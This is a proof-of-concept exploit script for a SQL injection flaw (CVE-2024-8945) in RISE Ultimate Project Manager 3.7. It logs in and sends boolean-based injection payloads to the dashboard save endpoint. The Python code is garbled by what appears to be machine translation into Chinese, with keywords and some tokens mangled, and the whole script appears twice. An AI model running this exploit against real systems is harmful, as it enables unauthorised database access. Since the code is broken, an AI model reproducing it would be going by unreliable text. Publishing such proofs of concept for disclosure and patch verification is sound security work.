########概念证明###################
#CVE: CVE-2024-8945
#利用标题: RISE Ultimate项目经理3.7 SQL注入POC
#Google Dork: N/A
#date: 2024年9月19日
#利用作者: Jobyer Ahmed
#作者homepage: https://bytium.com
#脆弱版本: 3.7
#修补版本: 3.7.1
#测试在: Ubuntu 24.04,Debian测试
#########
#########################
#1。登录到终极项目经理3.7
#2。添加一个新的仪表板
#3。启动POC脚本
#
#USAGE: PYTHON3 SCRIPT.PY BASE_URL电子邮件密码
########
导入请求
导入系统
从TermColor导入彩色
def login_and_capture_session(base_url,电子邮件,密码):
login_url=f'{base_url}/index.php/signin/authenticate'
login_data={'email':电子邮件,'password':密码,'redirect':'}
login_headers={'user-agent':'mozilla/5.0','content-type':'应用程序/x-www-form-urlencoded'}
session=requests.session()
响应=session.post(login_url,data=login_data,headers=login_headers,verify=false)
如果wif stange.status_code==200和'dashboard'
打印(彩色('[*]成功登录。','green'))))
返回会话
其他:
打印(colored('[!]登录失败。','red'))))
没有返回
def send_payload(会话,target_url,有效载荷):
数据={
'id':有效载荷,
'data':'false',
'title':'POC测试',
'color':'#ff0000'
}
响应=session.post(target_url,headers=session.headers,data=data,verify=false)
返回响应
def verify_vulnerability(session,target_url):
FAILED_PAYLOAD='-1或1=2 ----'
failed_response=send_payload(session,target_url,failed_payload)
print(colored(f'\ nfailed sql注入(false条件)payload: {failed_payload}','yellow'))
print(colored(f'{failed_response.text [:200]}','cyan'))
success_payload='-1或1=1 ----'
success_response=send_payload(session,target_url,success_payload)
如果Success_Response.status_code==200和“记录已保存”。在Success_Response.text:中
打印(彩色(F'[*]漏洞通过SQL注入确认!有效载荷二手: {success_payload}','green'))))))
print(colored(f'[*]成功的SQL注入响应: \ n {success_response.text [:200]}','CYAN'))))
print(colored('\ nstatus:脆弱!升级到修补版本!','red')))))
其他:
print(colored('\ nnot脆弱!','red'))
如果name=='__ -Main __':
如果Len(sys.argv)!=4:
打印('USAGE: PYTHON3 SCRIPT.PY BASE_URL电子邮件密码')
sys.exit(1)
base_url,电子邮件,密码=sys.argv [1],sys.argv [2],sys.argv [3]
session=login_and_capture_session(base_url,电子邮件,密码)
如果不是Session:
sys.exit(1)
session.headers.update({{'user-agent':'mozilla/5.0','Accept':'application/json','x-requested with':'xmlhtttprequest'})
target_url=f'{base_url}/index.php/dashboard/save'
verify_vulnerability(会话,target_url)
#CVE: CVE-2024-8945
#利用标题: RISE Ultimate项目经理3.7 SQL注入POC
#Google Dork: N/A
#date: 2024年9月19日
#利用作者: Jobyer Ahmed
#作者homepage: https://bytium.com
#脆弱版本: 3.7
#修补版本: 3.7.1
#测试在: Ubuntu 24.04,Debian测试
#########
#########################
#1。登录到终极项目经理3.7
#2。添加一个新的仪表板
#3。启动POC脚本
#
#USAGE: PYTHON3 SCRIPT.PY BASE_URL电子邮件密码
########
导入请求
导入系统
从TermColor导入彩色
def login_and_capture_session(base_url,电子邮件,密码):
login_url=f'{base_url}/index.php/signin/authenticate'
login_data={'email':电子邮件,'password':密码,'redirect':'}
login_headers={'user-agent':'mozilla/5.0','content-type':'应用程序/x-www-form-urlencoded'}
session=requests.session()
响应=session.post(login_url,data=login_data,headers=login_headers,verify=false)
如果wif stange.status_code==200和'dashboard'
打印(彩色('[*]成功登录。','green'))))
返回会话
其他:
打印(colored('[!]登录失败。','red'))))
没有返回
def send_payload(会话,target_url,有效载荷):
数据={
'id':有效载荷,
'data':'false',
'title':'POC测试',
'color':'#ff0000'
}
响应=session.post(target_url,headers=session.headers,data=data,verify=false)
返回响应
def verify_vulnerability(session,target_url):
FAILED_PAYLOAD='-1或1=2 ----'
failed_response=send_payload(session,target_url,failed_payload)
print(colored(f'\ nfailed sql注入(false条件)payload: {failed_payload}','yellow'))
print(colored(f'{failed_response.text [:200]}','cyan'))
success_payload='-1或1=1 ----'
success_response=send_payload(session,target_url,success_payload)
如果Success_Response.status_code==200和“记录已保存”。在Success_Response.text:中
打印(彩色(F'[*]漏洞通过SQL注入确认!有效载荷二手: {success_payload}','green'))))))
print(colored(f'[*]成功的SQL注入响应: \ n {success_response.text [:200]}','CYAN'))))
print(colored('\ nstatus:脆弱!升级到修补版本!','red')))))
其他:
print(colored('\ nnot脆弱!','red'))
如果name=='__ -Main __':
如果Len(sys.argv)!=4:
打印('USAGE: PYTHON3 SCRIPT.PY BASE_URL电子邮件密码')
sys.exit(1)
base_url,电子邮件,密码=sys.argv [1],sys.argv [2],sys.argv [3]
session=login_and_capture_session(base_url,电子邮件,密码)
如果不是Session:
sys.exit(1)
session.headers.update({{'user-agent':'mozilla/5.0','Accept':'application/json','x-requested with':'xmlhtttprequest'})
target_url=f'{base_url}/index.php/dashboard/save'
verify_vulnerability(会话,target_url)